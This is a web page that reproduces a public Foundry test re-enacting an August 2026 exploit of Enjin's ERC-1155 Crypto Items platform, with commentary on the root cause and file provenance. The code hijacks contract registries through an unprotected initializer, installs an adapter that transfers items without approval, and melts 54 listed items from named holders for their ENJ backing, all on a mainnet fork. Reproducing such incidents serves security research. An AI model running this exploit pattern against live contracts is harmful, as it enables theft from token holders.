Public reproduction file
src/test/2026-08/EnjinCryptoItems_exp.sol
Public reproduction file for dataset entry EnjinCryptoItems.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Enjin "Crypto Items" (ERC-1155, ENJ-backed) platform drain, Ethereum, Aug 26 2026.8// ~5.23M ENJ (~$142K) melted out of the item reserve in a single tx.9//10// Exploit tx : 0xd4a382da03c99ce3084661b913b50b525a4b283f66f510bcf1040152830b2a7e (block 25834071)11// Attacker : 0x5ec1ba7892d11059c39557b762a97dd695778ca5 (EOA)12// Attack ctrt: 0x7083DdecE38216C7741fa76c75326Bea744ED321 (became registry manager)13// Platform : 0xfaaFDc07907ff5120a76b34b731b278c38d6043C (ERC-1155 item platform)14// Reserve : 0x4E643a25a64952895f553f20252861258727174e (holds ENJ backing + item state)15// ENJ : 0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c16// Registry A : 0x13fA4b9a6C2F2604C919f96F456e3b50E968b157 (serves one set of item adapters)17// Registry B : 0x268C039A3127D3107c014F0DC6c390A53e6dB27f (serves the other set)18// Orig mgr : 0x1952e45D5bD519DC679Cc459C5fD0Ba46305880c19//20// Root cause (verified independently against the on-chain trace, NOT a key/signer compromise):21// Every Enjin item is fronted by a per-item ERC-1155 adapter clone. A clone has no logic of its22// own: for any selector it looks up delegates(selector) on its "contract registry" and23// delegatecalls whatever implementation address is stored there. The two live registries expose24// an UNPROTECTED initialize(uint256) with no access control - any address can call it. The trace25// shows the attack contract calling registry.initialize(1) then registry.acceptManager(), after26// which ManagerUpdate fires from the original manager 0x1952e45D to the attack contract, i.e. the27// attacker becomes the registry manager purely by re-running the open initializer. As manager the28// attacker calls updateContract(impl, "stealNFT(address,address,uint256);", ...) and the29// transferFrom variant, registering their own code as the body those clones delegatecall into.30// The registered body moves item ownership through the platform's internal transfer functions31// with NO owner-approval check, so it pulls items out of arbitrary holders. Each stolen item is32// then melt()ed for its ENJ backing out of the reserve, and melt pays msg.sender.33//34// Reconstruction (real, not a replay): this test hijacks the two real registries with typed35// initialize()/acceptManager()/updateContract() calls, registers OUR OWN minimal adapter body36// (MaliciousAdapter below - the payload is legitimately our own code standing in for the37// attacker's, since the payload is not the vulnerability), then drives the real platform's own38// item-transfer and melt paths to pull the same 54 items from the same holders and melt them for39// their ENJ backing. No attacker creation/runtime bytecode is deployed.40//41// Two internal platform transfer entrypoints are used, exactly as the incident did:42// 0x41c1df0e(operator, from, to, id) - moves one non-fungible instance (id low128 != 0)43// 0xf95d7da3(operator, from, to, id, value) - moves value units of a fungible (id low128 == 0)44// The item list and per-item amounts are the ones recovered from the transaction's TransferSingle45// events; melt values are read live from the reserve on the fork, so the recovered ENJ equals the46// real drain (5,231,353 ENJ). No transient storage is touched, so the default evm_version is used.47//48// forge test --contracts src/test/2026-08/EnjinCryptoItems_exp.sol -vvv50interface IReserveRegistry {51 function initialize(52 uint256 version53 ) external;54 function acceptManager() external;55 function updateContract(address implementation, string calldata functions, string calldata commitMessage)56 external;57}59interface IPlatform {60 function getAdapter(61 uint256 id62 ) external view returns (address);63 function melt(uint256[] calldata ids, uint256[] calldata values) external;64 function balanceOf(address owner, uint256 id) external view returns (uint256);65}67interface IMalicious {68 function pwnNF(address from, address to, uint256 id) external;69 function pwnFT(address from, address to, uint256 id, uint256 value) external;70}72// Our own payload, registered as the item-adapter clones' function body. It runs via delegatecall73// from a clone, so msg.sender to the platform is the clone itself, which the platform accepts as74// the registered adapter for the item. There is deliberately no owner/approval check - that is the75// whole point of what the compromised registry lets an attacker install.76contract MaliciousAdapter {77 address constant PLATFORM = 0xfaaFDc07907ff5120a76b34b731b278c38d6043C;79 function pwnNF(address from, address to, uint256 id) external {80 (bool ok,) = PLATFORM.call(abi.encodeWithSelector(0x41c1df0e, to, from, to, id));81 require(ok, "nf move failed");82 }84 function pwnFT(address from, address to, uint256 id, uint256 value) external {85 (bool ok,) = PLATFORM.call(abi.encodeWithSelector(0xf95d7da3, to, from, to, id, value));86 require(ok, "ft move failed");87 }88}90// Re-initializing a registry clears the delegate for initialize(uint256), so the next item-adapter91// clone creation (which calls the clone's initialize) would revert. The incident registered a92// no-op initialize to get past that; we register the same. acceptManager() is registered too,93// mirroring the on-chain "lock" step that fenced the original manager out.94contract NoopStub {95 function initialize(96 uint25697 ) external {}98 function acceptManager() external {}99}101contract EnjinCryptoItemsAttack {102 IPlatform constant PLATFORM = IPlatform(0xfaaFDc07907ff5120a76b34b731b278c38d6043C);103 address constant ENJ = 0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c;104 IReserveRegistry constant REG_A = IReserveRegistry(0x13fA4b9a6C2F2604C919f96F456e3b50E968b157);105 IReserveRegistry constant REG_B = IReserveRegistry(0x268C039A3127D3107c014F0DC6c390A53e6dB27f);106 uint256 constant INSTANCE_MASK = (uint256(1) << 128) - 1; // low 128 bits: NF index; 0 => fungible108 address[] holders;109 uint256[] ids;110 uint256[] amts;112 function _add(address h, uint256 id, uint256 a) internal {113 holders.push(h);114 ids.push(id);115 amts.push(a);116 }118 constructor() {119 _add(0x50bF217523dC390B18f31bdb1099eBF937dA1756, 0x7880000000000a2f000000000000000000000000000000000000000000000001, 1);120 _add(0xDe45Af30cc3a591824e3a2F6ccd74745F7E75c14, 0x088000000000000b000000000000000000000000000000000000000000000002, 1);121 _add(0xDe45Af30cc3a591824e3a2F6ccd74745F7E75c14, 0x088000000000000b000000000000000000000000000000000000000000000003, 1);122 _add(0x73250bBEdb86fD26a5c079353B88bD8f202ee8c7, 0x088000000000000b000000000000000000000000000000000000000000000004, 1);123 _add(0x3bd429D09D2845812DD57c5b514D3cCD7c6Ba7FB, 0x088000000000000b00000000000000000000000000000000000000000000000b, 1);124 _add(0x3bd429D09D2845812DD57c5b514D3cCD7c6Ba7FB, 0x088000000000000b00000000000000000000000000000000000000000000000c, 1);125 _add(0xA1ecB46C0bE223DFf23EfdA8bd553d17b938Af47, 0x088000000000000b00000000000000000000000000000000000000000000000d, 1);126 _add(0xA1ecB46C0bE223DFf23EfdA8bd553d17b938Af47, 0x088000000000000b00000000000000000000000000000000000000000000000e, 1);127 _add(0x67DCf9536F0fEa888bbe3Ed87e2B9FAEdBF6b876, 0x7000000000000002000000000000000000000000000000000000000000000000, 1);128 _add(0x67DCf9536F0fEa888bbe3Ed87e2B9FAEdBF6b876, 0x7000000000000003000000000000000000000000000000000000000000000000, 1);129 _add(0x65FFe5a603B9dAC9Bca330bf387979701374C96C, 0x7800000000000010000000000000000000000000000000000000000000000000, 1995);130 _add(0x4dCB0b4e2E66dBdEEB21946F7f210e3E332d8e7a, 0x7800000000000010000000000000000000000000000000000000000000000000, 1);131 _add(0x1121367c7E10318aaa163E974FBc1AE33B30eE97, 0x7800000000000010000000000000000000000000000000000000000000000000, 1);132 _add(0x91D9aaf2198dd83A21086f86c64627CcAa495C5a, 0x7000000000000105000000000000000000000000000000000000000000000000, 89);133 _add(0x10d8bEC072631D50282bAB213Dc9dA219A3797a7, 0x7000000000000105000000000000000000000000000000000000000000000000, 5);134 _add(0xA1ecB46C0bE223DFf23EfdA8bd553d17b938Af47, 0x7000000000000105000000000000000000000000000000000000000000000000, 4);135 _add(0x4dCB0b4e2E66dBdEEB21946F7f210e3E332d8e7a, 0x7000000000000105000000000000000000000000000000000000000000000000, 4);136 _add(0xE45bA52E62B67466977a9876Cb83cE1f57866891, 0x7000000000000105000000000000000000000000000000000000000000000000, 2);137 _add(0x1121367c7E10318aaa163E974FBc1AE33B30eE97, 0x7000000000000105000000000000000000000000000000000000000000000000, 2);138 _add(0x0eab735656c3D4Ed197Fa1df2Bfd854E970E07DB, 0x7000000000000105000000000000000000000000000000000000000000000000, 2);139 _add(0xfa5ae0e8216aCb476Bb3b36479C73B0f8412ecD4, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);140 _add(0xecA72Efb6a78E971C1664d3251FE5D91c5561C29, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);141 _add(0xEc2A3442fD8Ad20A8E269e6e782D2D56da6B35A4, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);142 _add(0xe8e209Ca03650bE9EAD741C5BF4bdC7Bf9bdaAe1, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);143 _add(0xE596eB841Cd9c67316846e80932Be4f240fDf2ED, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);144 _add(0xe317f6320ea52cD3574a0D685F728de1B0Af735C, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);145 _add(0xE229edE8A37003249fdDB6C02b24882fAaaCC5cf, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);146 _add(0xdefD66d15908791378164b7bEc0b324E7bAde803, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);147 _add(0xCbDAec8c090ECDca39228a2c80dcc90e0c26A528, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);148 _add(0xcAf6A331b57F2a8B78C39E133a889216c6123ff3, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);149 _add(0xC5E8cA63fb31145e8356Fd7Ba257B1A8e19BbA01, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);150 _add(0xC35147d958BCdeCE5fC0430633879B49c0E341B9, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);151 _add(0xbdE1Ff1f4915B14104F1149dEC0E0d6725A2649B, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);152 _add(0xBb8BD758e2412b3513Da6c4900a41Fc0BDd826Fe, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);153 _add(0xB67D6ac97Bea36d6372b23E7E7D3A466958321a7, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);154 _add(0xaB567898C746Fa1D14fB239294AC806BdfE547Ac, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);155 _add(0xA97872c3Bd1B060d7370378F50A2EaE2ff1003A8, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);156 _add(0xa884fEb9Ba1d386b4A9273a0826b1E25016596aA, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);157 _add(0xa0F1aC6B4872b9Be77A1ceAEBD47A46773f9a140, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);158 _add(0x98fed211a4062535274C17495b503e7136F653D0, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);159 _add(0x98b2Bd42743F5bEA16fb3a5F670049D479E5F77d, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);160 _add(0x982b862E80fFc2B0c6E6Fb4AEC6dC65114604F7C, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);161 _add(0x94ed5f30C139eeD257EE30703872Fb28FAE468b6, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);162 _add(0x70E737b4B472D80b2585163cC404EE2515d4234E, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);163 _add(0x628d7Adf5d3071d4e03FB015b2c3EfD02e36123A, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);164 _add(0x546B4482844376b0f0c9707D95aE74ec8a2b8670, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);165 _add(0x4F085fc80c7339B6225a37F005e5578171b15842, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);166 _add(0x48bA859448962F446D5f4f688912E42d924881a3, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);167 _add(0x2dD1F12803f08861Da2DF8b82d9A78fAad19224B, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);168 _add(0x2D7E2a293F64C920Fda4f75ea3529D90DD91B9EE, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);169 _add(0x170B21e601456A6bCa2D54B9656fb548F75AbbF3, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);170 _add(0x15661325e5886a9535d0A7619c8Aeb27A1ef66Fe, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);171 _add(0x0b0C99cF1ba4448F474D0fFf1d94585e62dDA665, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);172 _add(0x01394f9513b37a914a5AD31197b4cca035f6F93E, 0x7000000000000105000000000000000000000000000000000000000000000000, 1);173 }175 function attack() external returns (uint256) {176 MaliciousAdapter impl = new MaliciousAdapter();177 NoopStub stub = new NoopStub();179 // Hijack both registries and install our body as the clones' transfer logic.180 _hijack(REG_A, address(impl), address(stub));181 _hijack(REG_B, address(impl), address(stub));183 for (uint256 i = 0; i < ids.length; i++) {184 uint256 id = ids[i];185 uint256 base = (id >> 128) << 128;187 // Ensure the per-item adapter clone exists (create it through the platform's own188 // getOrCreate path if the item has never been wrapped).189 address clone = PLATFORM.getAdapter(base);190 if (clone == address(0)) {191 (bool ok,) = address(PLATFORM).call(abi.encodeWithSelector(bytes4(0x33d332ab), base, bytes("PWN"), uint256(0)));192 require(ok, "adapter create failed");193 clone = PLATFORM.getAdapter(base);194 require(clone != address(0), "no adapter");195 }197 // Pull the item to ourselves with no approval, via our installed body on the clone.198 if (id & INSTANCE_MASK == 0) {199 IMalicious(clone).pwnFT(holders[i], address(this), id, amts[i]);200 } else {201 IMalicious(clone).pwnNF(holders[i], address(this), id);202 }204 // Melt it for its ENJ backing (melt pays msg.sender == this contract).205 uint256[] memory oneId = new uint256[](1);206 uint256[] memory oneAmt = new uint256[](1);207 oneId[0] = id;208 oneAmt[0] = amts[i];209 PLATFORM.melt(oneId, oneAmt);210 }212 return IERC20(ENJ).balanceOf(address(this));213 }215 function _hijack(IReserveRegistry reg, address impl, address stub) internal {216 reg.initialize(1); // unprotected: grants us the pending-manager slot217 reg.acceptManager(); // become the registry manager218 reg.updateContract(impl, "pwnNF(address,address,uint256);", "x");219 reg.updateContract(impl, "pwnFT(address,address,uint256,uint256);", "x");220 reg.updateContract(stub, "initialize(uint256);", "lock");221 reg.updateContract(stub, "acceptManager();", "lock");222 }223}225contract EnjinCryptoItemsExp is BaseTestWithBalanceLog {226 address internal constant ENJ = 0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c;227 uint256 internal constant FORK_BLOCK = 25_834_070; // parent of the exploit block 25834071229 function setUp() public {230 vm.createSelectFork("https://eth.drpc.org", FORK_BLOCK);231 fundingToken = ENJ;232 vm.label(0xfaaFDc07907ff5120a76b34b731b278c38d6043C, "Platform");233 vm.label(0x4E643a25a64952895f553f20252861258727174e, "Reserve");234 vm.label(0x13fA4b9a6C2F2604C919f96F456e3b50E968b157, "RegistryA");235 vm.label(0x268C039A3127D3107c014F0DC6c390A53e6dB27f, "RegistryB");236 vm.label(ENJ, "ENJ");237 }239 function testExploit() public balanceLog {240 EnjinCryptoItemsAttack exploit = new EnjinCryptoItemsAttack();241 attacker = address(exploit);243 uint256 recovered = exploit.attack();244 emit log_named_decimal_uint("ENJ recovered from melting", recovered, 18);246 // Real incident melted 5,231,353 ENJ (~$142K). Reconstructed drain must match.247 assertApproxEqAbs(recovered, 5_231_353e18, 1e18, "ENJ recovered off expected ~5.23M");248 }249}Analysis
Dataset entry
Public Foundry test for “EnjinCryptoItems” (2026-08-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5ec1ba7892d11059c39557b762a97dd695778ca5
File record
- Name
- EnjinCryptoItems
- Path
- src/test/2026-08/EnjinCryptoItems_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 67eb4762543a999c45f18014682136dd234bb964
- Language
- Solidity
- Size
- 250 lines
- Date
- 2026-08-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/EnjinCryptoItems_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 67eb4762543a999c45f18014682136dd234bb964, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.